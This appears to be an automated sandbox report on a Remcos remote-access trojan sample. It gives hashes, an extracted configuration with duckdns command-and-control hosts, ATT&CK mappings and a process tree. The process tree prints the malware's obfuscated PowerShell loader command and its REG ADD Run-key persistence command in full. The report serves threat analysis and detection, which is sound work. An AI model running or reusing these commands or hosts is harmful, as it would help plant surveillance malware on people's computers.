remcos | 85502e59a1632b69b489891356d31f6a06d788073c744e1ac55bd03f166c5241

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2024 22:41

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General

Target

3b72f732f216136775f6aebdbda1ba0b.exe
Size

677KB
MD5

3b72f732f216136775f6aebdbda1ba0b
SHA1

f64deba6e108c2690a1f10ac0cd1a530cf3d16f8
SHA256

85502e59a1632b69b489891356d31f6a06d788073c744e1ac55bd03f166c5241
SHA512

8df9b062f2d82724fe186d18f30f2896eb93a591a38d5be33fcfb922722864c9f2b8a9324457b4eb41be1c08a546cd16b8319a0bfe41c81b1c0101f182804945
SSDEEP

12288:g+/D317UULVEwJP85xXtN1TrlHoACk9tclfmD/Q+6YTWiEOcW7scrzk:7DxUbXH1VIk+ubQ+DP8W77Pk

Score

10^/10

remcos fresh discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Fresh

lafours8tursot1.duckdns.org:2879

lafours8tursot1.duckdns.org:2889

lafours8tursot2.duckdns.org:2879

lafours8tursot3.duckdns.org:2879

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
ioeoest.dat
keylog_flag
false
mouse_option
false
mutex
iomdjtru-ZWTOJI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Troolie = "%Sanguivorous% -windowstyle 1 $Heptacolic=(gp -Path 'HKCU:\\Software\\Biledes\\').Scripturalizes;%Sanguivorous% ($Heptacolic)"	reg.exe

Blocklisted process makes network request 9 IoCs

flow	pid	Process
33	536	msiexec.exe
35	536	msiexec.exe
37	536	msiexec.exe
39	536	msiexec.exe
41	536	msiexec.exe
46	536	msiexec.exe
47	536	msiexec.exe
49	536	msiexec.exe
51	536	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
32	drive.google.com
33	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
536	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4812	Powershell.exe
536	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4812	Powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3b72f732f216136775f6aebdbda1ba0b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4416	reg.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4812	Powershell.exe
4812	Powershell.exe
4812	Powershell.exe
4812	Powershell.exe
4812	Powershell.exe
4812	Powershell.exe
4812	Powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4812	Powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4812	Powershell.exe
Token: SeIncreaseQuotaPrivilege	4812	Powershell.exe
Token: SeSecurityPrivilege	4812	Powershell.exe
Token: SeTakeOwnershipPrivilege	4812	Powershell.exe
Token: SeLoadDriverPrivilege	4812	Powershell.exe
Token: SeSystemProfilePrivilege	4812	Powershell.exe
Token: SeSystemtimePrivilege	4812	Powershell.exe
Token: SeProfSingleProcessPrivilege	4812	Powershell.exe
Token: SeIncBasePriorityPrivilege	4812	Powershell.exe
Token: SeCreatePagefilePrivilege	4812	Powershell.exe
Token: SeBackupPrivilege	4812	Powershell.exe
Token: SeRestorePrivilege	4812	Powershell.exe
Token: SeShutdownPrivilege	4812	Powershell.exe
Token: SeDebugPrivilege	4812	Powershell.exe
Token: SeSystemEnvironmentPrivilege	4812	Powershell.exe
Token: SeRemoteShutdownPrivilege	4812	Powershell.exe
Token: SeUndockPrivilege	4812	Powershell.exe
Token: SeManageVolumePrivilege	4812	Powershell.exe
Token: 33	4812	Powershell.exe
Token: 34	4812	Powershell.exe
Token: 35	4812	Powershell.exe
Token: 36	4812	Powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
536	msiexec.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 4812	1800	3b72f732f216136775f6aebdbda1ba0b.exe	86
PID 1800 wrote to memory of 4812	1800	3b72f732f216136775f6aebdbda1ba0b.exe	86
PID 1800 wrote to memory of 4812	1800	3b72f732f216136775f6aebdbda1ba0b.exe	86
PID 4812 wrote to memory of 536	4812	Powershell.exe	97
PID 4812 wrote to memory of 536	4812	Powershell.exe	97
PID 4812 wrote to memory of 536	4812	Powershell.exe	97
PID 4812 wrote to memory of 536	4812	Powershell.exe	97
PID 536 wrote to memory of 4428	536	msiexec.exe	101
PID 536 wrote to memory of 4428	536	msiexec.exe	101
PID 536 wrote to memory of 4428	536	msiexec.exe	101
PID 4428 wrote to memory of 4416	4428	cmd.exe	104
PID 4428 wrote to memory of 4416	4428	cmd.exe	104
PID 4428 wrote to memory of 4416	4428	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe
"C:\Users\Admin\AppData\Local\Temp\3b72f732f216136775f6aebdbda1ba0b.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
  "Powershell.exe" -windowstyle minimized "$Zieglers = Get-Content -raw 'C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Hjlpemenuen104.Gen192' ; $Bibbling=$Zieglers.SubString(77179,3);.$Bibbling($Zieglers)
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Troolie" /t REG_EXPAND_SZ /d "%Sanguivorous% -windowstyle 1 $Heptacolic=(gp -Path 'HKCU:\Software\Biledes\').Scripturalizes;%Sanguivorous% ($Heptacolic)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4428
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Troolie" /t REG_EXPAND_SZ /d "%Sanguivorous% -windowstyle 1 $Heptacolic=(gp -Path 'HKCU:\Software\Biledes\').Scripturalizes;%Sanguivorous% ($Heptacolic)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qtplnyx.bvj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Akhmimic.Sam

Filesize
423KB

MD5
1b559621122c1b9255e77e86c8fbe290

SHA1
1a803f1663eb48db7aedc8606feb64cca0928132

SHA256
30edde04845cf5971cd2acae8685ca9513ee34595ded8a566c37c7f87ba34614

SHA512
4b321218f3c3487992d6a2e50b69d5cdd248a43e89ca12366f962493a547699c7564e57a67ca4aacb588bf38d98a5152b2d20d122f9616319c71838a98fd078f

Download Submit
C:\Users\Admin\AppData\Roaming\Lysninger28\grdesanger\Hjlpemenuen104.Gen192

Filesize
75KB

MD5
320c79f6479491da5f91192e301648f6

SHA1
48664b2465180bbd3c4d3e92abeb5bcd3cc29bfd

SHA256
57f6b2ee227e10b1fae852528583fa97c9af97ccc7bc4f93fdda7aa4f8ca127d

SHA512
c5403831808634c94bae13a21397dd42a8dfbf24d4272684afb1c49f90b888312f01f1efde32b2a4e0424ce6d76249e3be85c9e5baa02ea06fd3bebc31c4434f

Download Submit
memory/536-78-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-80-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-96-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-95-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-94-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-93-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-92-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-91-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-90-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-89-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-88-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-87-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/536-86-0x0000000001040000-0x0000000002294000-memory.dmp

Filesize
18.3MB

Download
memory/4812-46-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-55-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-28-0x0000000006D80000-0x0000000006DA2000-memory.dmp

Filesize
136KB

Download
memory/4812-29-0x00000000075F0000-0x0000000007B94000-memory.dmp

Filesize
5.6MB

Download
memory/4812-31-0x0000000008220000-0x000000000889A000-memory.dmp

Filesize
6.5MB

Download
memory/4812-34-0x00000000702D0000-0x000000007031C000-memory.dmp

Filesize
304KB

Download
memory/4812-35-0x00000000706C0000-0x0000000070A14000-memory.dmp

Filesize
3.3MB

Download
memory/4812-33-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-32-0x00000000071E0000-0x0000000007212000-memory.dmp

Filesize
200KB

Download
memory/4812-45-0x0000000007220000-0x000000000723E000-memory.dmp

Filesize
120KB

Download
memory/4812-26-0x0000000006300000-0x0000000006396000-memory.dmp

Filesize
600KB

Download
memory/4812-47-0x0000000007250000-0x00000000072F3000-memory.dmp

Filesize
652KB

Download
memory/4812-48-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-49-0x0000000007350000-0x000000000735A000-memory.dmp

Filesize
40KB

Download
memory/4812-51-0x0000000007500000-0x0000000007524000-memory.dmp

Filesize
144KB

Download
memory/4812-50-0x00000000074D0000-0x00000000074FA000-memory.dmp

Filesize
168KB

Download
memory/4812-52-0x00000000744BE000-0x00000000744BF000-memory.dmp

Filesize
4KB

Download
memory/4812-53-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-54-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-27-0x00000000062B0000-0x00000000062CA000-memory.dmp

Filesize
104KB

Download
memory/4812-56-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-59-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-60-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-58-0x00000000088A0000-0x000000000A190000-memory.dmp

Filesize
24.9MB

Download
memory/4812-61-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-62-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-25-0x0000000005DE0000-0x0000000005E2C000-memory.dmp

Filesize
304KB

Download
memory/4812-24-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

Filesize
120KB

Download
memory/4812-23-0x00000000057B0000-0x0000000005B04000-memory.dmp

Filesize
3.3MB

Download
memory/4812-13-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/4812-12-0x0000000004EE0000-0x0000000004F46000-memory.dmp

Filesize
408KB

Download
memory/4812-11-0x0000000004DC0000-0x0000000004DE2000-memory.dmp

Filesize
136KB

Download
memory/4812-10-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-9-0x0000000004F60000-0x0000000005588000-memory.dmp

Filesize
6.2MB

Download
memory/4812-8-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-7-0x00000000024A0000-0x00000000024D6000-memory.dmp

Filesize
216KB

Download
memory/4812-6-0x00000000744BE000-0x00000000744BF000-memory.dmp

Filesize
4KB

Download
memory/4812-64-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download
memory/4812-65-0x00000000744B0000-0x0000000074C60000-memory.dmp

Filesize
7.7MB

Download